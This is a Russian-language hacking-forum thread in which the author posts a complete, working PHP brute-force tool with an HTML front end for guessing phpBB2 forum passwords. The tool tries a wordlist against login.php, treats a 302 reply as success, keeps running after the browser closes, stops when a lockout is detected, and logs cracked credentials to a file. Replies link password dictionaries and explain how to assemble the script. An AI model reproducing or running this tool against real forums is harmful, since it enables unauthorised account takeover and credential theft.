PDA

Просмотр полной версии : Пишем брутофорс для phpBB


GreenBear
28.02.2007, 11:58
В phpBB2 есть возможность брута с минимум трафика, т.к в случае удачной аунтификации сервер посылает нам не стандартый 200-тый

200 OK

ответ, что запрос обработан и успешно выполнен, а строку с кодом 302. Благодоря этому нам не нужно брать всю страницу, чтобы узнать завершился ли успешно наш перебор, а достаточно первой строки ответа

302 Found


Создадим сначала интерфейс нашего брута.

<html><head>
<title>Брутофорс для phpBB2 от Green Bear (http://netsec.ru && http://antichat.ru)</title>
<style type="text/css">
body{background-color: #323232;margin: 20px;}
.div{border-style: ridge;border-color: yellowgreen;border-width: 1px;background-color: #444;padding: 5px;color: whitesmoke;font-family: Verdana, Tahoma;font-size: 11px;}
input, select{border: none;background-color: #000;color: yellowgreen;}
h1{margin-top: 3;}
a{color: white;text-decoration: none;}
</style>
</head><body><div align="center"><div style="width:500px" class="div">
<h1><a href="" style="text-decoration: none;">Брутофорс phpBB2</a></h1>
<form method="post" enctype="multipart/form-data">
Адрес: <input type="text" name="host" /> / <input type="text" name="path" size="10"/>
Имя: <input type="text" name="login" />
<input type="checkbox" name="w" value="w" title="Ждать 4 секунды перед новый попыткой?" /><br /><br />
Из файла: <input type="radio" OnClick="file.style.display=''; load.style.display='none';" name="l" />
Загрузить: <input type="radio" OnClick="load.style.display=''; file.style.display='none';" name="l" checked />
<input type="file" name="pass" id="load" style="border:none" />
<input type="text" name="file" id="file" value="./" style="display:none" />
<br /><br />Язык форума: <select name="lang"><option value="ru">Русский</option><option value="en">Буржуйский</option></select> <input type="submit" value="Начать подбор" name="start" onClick="hide.style.display=''" /></form>

Сам код. Я постарался подробно все закоментировать, чтобы не было проблем у плохознающих пхп.

<?php
error_reporting(E_ALL ^ E_NOTICE);
//Если вы закроете браузер, то брут продолжется.
ignore_user_abort(1);
//Если не удалось сменить имя, то остановим скрипт, т.к дальше продолжать бессмысленно.
if( !set_time_limit(0)) die('Не удалось сменить лимит времени исполнения скрипта');
if($_POST['start']){
//Если выбраны пароли из файла, то проверим его на существование.
if($_POST['file']){
if(! file_exists($_POST['file']) ) die("<script>alert('Такого файла на сервере нет.');</script>");
$passwords = file($_POST['file']);
}else{
//Если файл загружаем, то в случае неудачной загрузки сообщим.
if (is_uploaded_file($_FILES['pass']['tmp_name'])) $passwords = file($_FILES['pass']['tmp_name']);
else die("<script>alert('Ошибка при загрузке файла');</script>");
}
//Проверим на существования необходимые переменные
$_POST['login'] ? $login = $_POST['login'] : die("<script>alert('Не задан логин');</script>");
$_POST['host'] ? $host = $_POST['host'] : die("<script>alert('Не задан хост');</script>");
$_POST['path'] ? $path = '/'.$_POST['path'].'/' : $path = '/';
$_POST['w'] ? $w = true : $w = false;
$str = ''; $b = 0;
//Язык нужен для того, чтобы прекратить брут, если на форуме стоит ограничение на кол-во попыток.
//Далее после 5 попытки идет поиск этой фразы на странице, если он найдена - брут останавливается.
switch($_POST['lang']){
case ru: $anti = 'Максимальное количество попыток'; break;
case en: $anti = 'not allowed to login'; break;
}
//Идем в цикл равный кол-ву срок в файле с паролями.
for($i=0;$i<count($passwords);$i++){
$w ? sleep(4) : '';
$pass = trim($passwords[$i]);
//Подключимся и проверим на доступность форум...
$fp = fsockopen ($host, 80, $errno, $errstr, 7);
//Если хост не найден, то выйдем из скрипта.
if (!$fp) die("<script>alert('Не могу найти такой форум');</script>");
//Наш пост запрос..
$r = "POST ".$path."login.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen("username=".$login."&password=".$pass."&login=Log+in")."

username=".$login."&password=".$pass."&login=Log+in";
fputs ($fp, $r);
//Теперь посмотрим...
//Если попытка не 5, то перем только первую строку.
if($b != 5) $str = fgets($fp, 128);
//Если он 5, то скачиваем всю страницу для поиска в ней ключевой фразы
//И в случае ее успешного поиска останавлиаем скрипт.
else{
while(!feof($fp)){
$str .= fgets($fp, 128);
}
if(eregi($anti, $str)){
die('Не могу продолжить дальнейший подбор паролей, т.к исчерпаны все попытки входа <br />');
}
}
//Теперь смотрим на ответ сервера...
//
if( eregi('302 Found', $str) ){
//запишем все в файл password
$p = fopen('password', 'a');
fwrite($p, "Логин: ".$login."\nПароль :".$pass."\nАдрес : ".$host."\n\n--------------\n\n");
fclose($p);
$find = true;
break;
}
$str = '';
fclose ($fp);
$b++;
}
if( $find ) echo '<script> hide.style.display=\'none\'></script>Пароль: <b>'. $pass.'</b><br /><br />';
else echo '<script> hide.style.display=\'none\'></script><i>Не удалось найти пароль</i><br /><br />';
}
?>


<div style="display:none" id="hide"><img src="http://gb.netsec.ru/process.gif" /><br /></div>
&copy; <a href="http://gb.netsec.ru/">Green Bear</a></div> </div></body></html>


Статус 302 Found означает, что запрашиваемый ресурс находится по другому адресу.

Вот в общем-то и все, как видим ничего сложного нету.

Полезные ссылки:
Протокол HTTP (http://www.compdoc.ru/network/http/rfc2068_http1_1/)
php.net (http://php.net)

qBiN
01.03.2007, 08:44
мишка это дурь ведь уже давно кез написал брут для пхпББ на Си...

GreenBear
01.03.2007, 09:33
Я не видел =\

Delphi-X
06.07.2007, 09:31
А есть у кого пассы чтоб побрутить ))

Fen-Omen
06.07.2007, 22:05
А есть у кого пассы чтоб побрутить ))

С пассами все сложнее.... Они попрятаны по приватам, а словари паролей продаются в интернете только за бешенные деньги=\

Мне стоило больших усилий чтобы добыть тебе парочку:

Словарь 1 (http://www.passwords.ru/dic.htm)

Словарь 2 (ftp://ftp.openwall.com/pub/wordlists/)

Словарь 3 (ftp://ftp.cerias.purdue.edu/pub/dict/)

Словарь 4 (Специфически подобраны характерные пароли для разных стран) (ftp://ftp.ox.ac.uk/pub/wordlists/)

kolllak
04.08.2009, 21:33
а как это все увязать между собой?

L I G A
12.08.2009, 00:03
а как это все увязать между собой?
засунь все в 1 пхп'шный файл.